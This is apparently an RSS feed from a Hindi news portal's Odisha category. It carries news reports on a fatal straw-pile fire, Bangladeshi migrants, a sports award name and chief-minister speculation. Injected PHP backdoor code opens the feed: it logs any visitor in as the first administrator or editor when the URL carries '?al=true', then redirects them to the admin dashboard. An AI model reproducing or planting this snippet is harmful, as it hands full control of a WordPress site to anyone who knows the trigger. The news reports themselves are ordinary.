// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Odisha – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 12 Jan 2025 17:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ओडिशा के बौध जिले में पुआल के ढेर में लगी आग, दो बच्चों की जलने से मौत https://pratyushaashakinayikiran.com/?p=120478 Sun, 12 Jan 2025 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=120478 भुवनेश्वर।

ओडिशा के बौध जिले में शनिवार को पुआल के ढेर में आग लगने से दो बच्चों की मौत हो गई। घटना सदर ब्लॉक के मुंडीपदर पंचायत के बौनसुनी में हुई। पुलिस अधिकारी के अनुसार, एक लड़का आठ और दूसरा पांच साल का था।

मुख्यमंत्री मोहन चरण माझी ने घटना पर दुख व्यक्त किया और मृतकों के परिजनों को 4-4 लाख रुपए की अनुग्रह राशि देने की घोषणा की। पुलिस अधिकारी के अनुसार, शाम को ठंड के कारण लड़के अपने घर के बाहर आग के पास बैठे थे। इस बीच, आग फैलने लगी, तो लड़कों ने खुद को बचाने के लिए पुआल के ढेर में शरण ली। हालांकि, आग ढेर तक पहुंच गई। आग लगने के बाद बच्चों ने चीखना शुरू कर दिया। उनकी चीख-पुकार सुनने के बाद लोग तुरंत मौके पर पहुंचे और उन्हें तुरंत बौनसुनी सामुदायिक स्वास्थ्य केंद्र ले गए। बाद में, बौध जिला अस्पातल ले जाया गया, लेकिन दोनों की मौत हो गई।

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बांग्लादेशियों के समुद्र मार्ग से ओडिशा में दाखिल होने की कोई रिपोर्ट नहीं : मंत्री https://pratyushaashakinayikiran.com/?p=59721 Mon, 12 Aug 2024 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=59721 भुवनेश्वर
 ओडिशा के कानून मंत्री पृथ्वीराज हरिचंदन ने कहा कि बांग्लादेश में हिंसा के बाद बांग्लादेशियों के समुद्र मार्ग से तटीय राज्य में दाखिल होने की कोई रिपोर्ट नहीं है। हरिचंदन ने कहा कि ओडिशा में अवैध रूप से रह रहे बांग्लादेशियों की पहचान कर उन्हें जल्द उनके देश भेजा जाएगा।

पुलिस का कहना है कि भारतीय नौसेना, तटरक्षक बल और ओडिशा समुद्री पुलिस बांग्लादेश से सटी 480 किलोमीटर लंबी समुद्री सीमा पर त्रिस्तरीय सुरक्षा बनाए हुए हैं।

बांग्लादेश में राजनीतिक उथल-पुथल के बीच बांग्लादेशियों के समुद्र मार्ग से ओडिशा में दाखिल होने की संभावनाओं से जुड़े पत्रकारों के सवाल के जवाब में हरिचंदन ने शनिवार को कहा कि मुख्यमंत्री मोहन चरण माझी ने तटरक्षक बल और ओडिशा समुद्री पुलिस को इस तरह की कोशिशों को नाकाम करने के लिए समुद्र तट पर गश्त करने का निर्देश दिया है।

उन्होंने जोर देकर कहा कि बांग्लादेश के हालिया घटनाक्रमों के बाद ऐसी (बांग्लादेशियों के समुद्र मार्ग से तटीय राज्य में दाखिल होने की) कोई रिपोर्ट नहीं है।

हरिचंदन ने कहा, ‘कुछ बांग्लादेशी लंबे समय से ओडिशा में रह रहे हैं। राज्य सरकार उनके दस्तावेजों, मसलन-वीजा और वर्क परमिट या राज्य में रहने के किसी अन्य वैध कारण का सत्यापन करेगी। सत्यापन के बाद अवैध घुसपैठियों को उनके देश वापस भेजा जाएगा।’

सरकारी सूत्रों के मुताबिक ओडिशा के सात जिलों में कुल 3,740 अवैध बांग्लादेशी प्रवासियों की पहचान की गई है। इनमें से 1,649 केंद्रपाड़ा में, 1,112 जगतसिंहपुर में और 655 मलकानगिरि में अवैध रूप से रह रहे हैं।

 

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बीजू पटनायक खेल पुरस्कार का नाम नहीं बदलेगा, ओडिशा के सीएम माझी ने बताया धरती पुत्रों का सम्माननीय https://pratyushaashakinayikiran.com/?p=53364 Sun, 21 Jul 2024 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=53364 भुवनेश्वर.

ओडिशा सरकार बीजू पटनायक खेल पुरस्कार का नाम नहीं बदलेगी। खेल पुरस्कार का नाम बदले जाने के मुद्दे पर राज्य सरकार के खिलाफ विपक्ष की आलोचना के बाद सीएम मोहन चरन माझी ने रविवार को यह एलान किया। उन्होंने कहा कि पुरस्कार से बीजू पटनायक का नाम हटाने का फैसला अनौपचारिक है। शुक्रवार को खेल और युवा सेवा विभाग ने अवार्ड का नाम राज्य क्रीडा सम्मान किए जाने को लेकर गाइडलाइन जारी की थी।

सीएम माझी ने कहा कि हमारी सरकार धरती पुत्रों का सम्मान करती है। इसलिए बीजू पटनायक खेल पुरस्कार के नाम में कोई बदलाव नहीं होगा। बीजू पटनायक का राज्य और देश के लिए दिया गया योगदान अविस्मरणीय है। बीजू पटनायक खेल पुरस्कार पहले की तरह ही रहेगा। वहीं पुरस्कार का नाम बदलने के मुद्दे पर बीजू पटनायक के बेटे और पूर्व सीएम नवीन पटनायक के नेतृत्व वाली बीजेडी ने भाजपा सरकार पर हमला बोला था। बीजेडी के वरिष्ठ विधायक अरुन साहू ने कहा था कि विमान चालक और राज्य के पूर्व सीएम बीजू पटनायक केवल एक व्यक्ति नहीं बल्कि संस्थान थे। वे राष्ट्रीय संपत्ति थे। जिनको अलग-अलग देशों ने सम्मानित किया था। भाजपा सरकार उनका नाम खेल पुरस्कार से हटाकर क्या साबित करना चाहती है। 

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ओडिशा का मुख्यमंत्री कौन बनेगा? PM के शपथ ग्रहण के बाद होगा ऐलान; इन नामों की चर्चा https://pratyushaashakinayikiran.com/?p=39554 Sun, 09 Jun 2024 19:36:00 +0000 https://pratyushaashakinayikiran.com/?p=39554 भुवनेश्वर

नरेंद्र मोदी के तीसरी बार देश के प्रधानमंत्री के रूप में शपथ लेने के बाद ओडिशा के मुख्यमंत्री के नाम की घोषणा हो सकती है। ओडिशा भाजपा प्रमुख मनमोहन सामल ने यह जानकारी दी। सामल ने कहा कि भाजपा का संसदीय दल अपनी बैठक में मुख्यमंत्री का चयन करेगा, उन्होंने कहा कि राज्य के अगले मुख्यमंत्री के बारे में उन्हें फिलहाल कोई जानकारी नहीं है। सामल ने कहा कि ओडिशा भाजपा के अध्यक्ष के रूप में वे शपथ ग्रहण समारोह की व्यवस्था करने में सभी हितधारकों के साथ समन्वय कर रहे हैं।

बीजेपी ने 147 सदस्यीय ओडिशा विधानसभा में से 78 सीट जीतकर चुनावों में बहुमत हासिल किया। बीजेपी नेता ने कहा, ‘मैं एनडीए के संसदीय दल के नेता के चयन के लिए एक बैठक में भाग लेने के लिए दिल्ली गया था। राज्य के सभी नवनिर्वाचित सांसद वहां मौजूद थे। हम दिल्ली में आयोजित अन्य पार्टी कार्यक्रमों में भी शामिल हुए। बीजेपी ने ओडिशा की 21 लोकसभा सीटों में से 20 पर जीत हासिल की है।

रिपोर्ट्स के मुताबिक 10 जून को ही ओडिशा की भी नई सरकार का शपथ ग्रहण हो सकता है। फिलहाल शपथ ग्रहण की तैयारियां राजभवन में चल रही हैं। इस कार्यक्रम में नरेंद्र मोदी भी हिस्सा ले सकते हैं। इसके अलावा यूपी के सीएम योगी आदित्यनाथ, असम के सीएम हिमंता बिस्वा सरमा और छत्तीसगढ़ के मुख्यमंत्री विष्णु देव साई भी समारोह में शिरकत कर सकते हैं।

सीएम पद के लिए इन नामों पर चर्चा
ओडिशा में बीते 24 साल से बीजू जनता दल की ही सरकार थी। अब बीजेपी बहुमत के साथ राज्य में सरकार बनाने जा रही है। हालांकि मुख्यमंत्री पद के लिए किसी नाम का औपचारिक ऐलान नहीं किया गया है। हालांकि मीडिया रिपोर्ट्स में जिन नामों का जिक्र किया जा रहा है उनमें केंद्रीय मंत्री धर्मेंद्र प्रधान, बीजेपी का राष्ट्रीय उपाध्यक्ष बैजयंत पांड्या, भुवनेश्वर से सांसद अपराजिता सारंगी और बालासोर से सांसद प्रताप सारंगी के अलावा जुएल ओराम का नाम शामिल है।

समीकरण यह भी है कि बीजेपी नहीं चाहती कि कोई भी सांसद मुख्यमंत्री बने। केंद्र में इस बार गठबंधन की सरकार है। ऐसे में सांसदों की संख्या बहुत मायने रखती है। ऐसे में धर्मेंद्र प्रधान और जुएल ओराम का नाम पीछे हो जाता है। 1985 बैच के रिटायर्ड आईएएस अधिकारी गिरीश चंद्र मुर्मू का भी नाम लिया जा रहा है। वह गुजरात में नरेंद्र मोदी की सरकार में उनके प्रधान सचिव थे। 2002 में गुजरात के दंगों के वक्त भी उन्हें बड़ी जिम्मेदारी दी गई थी।

 

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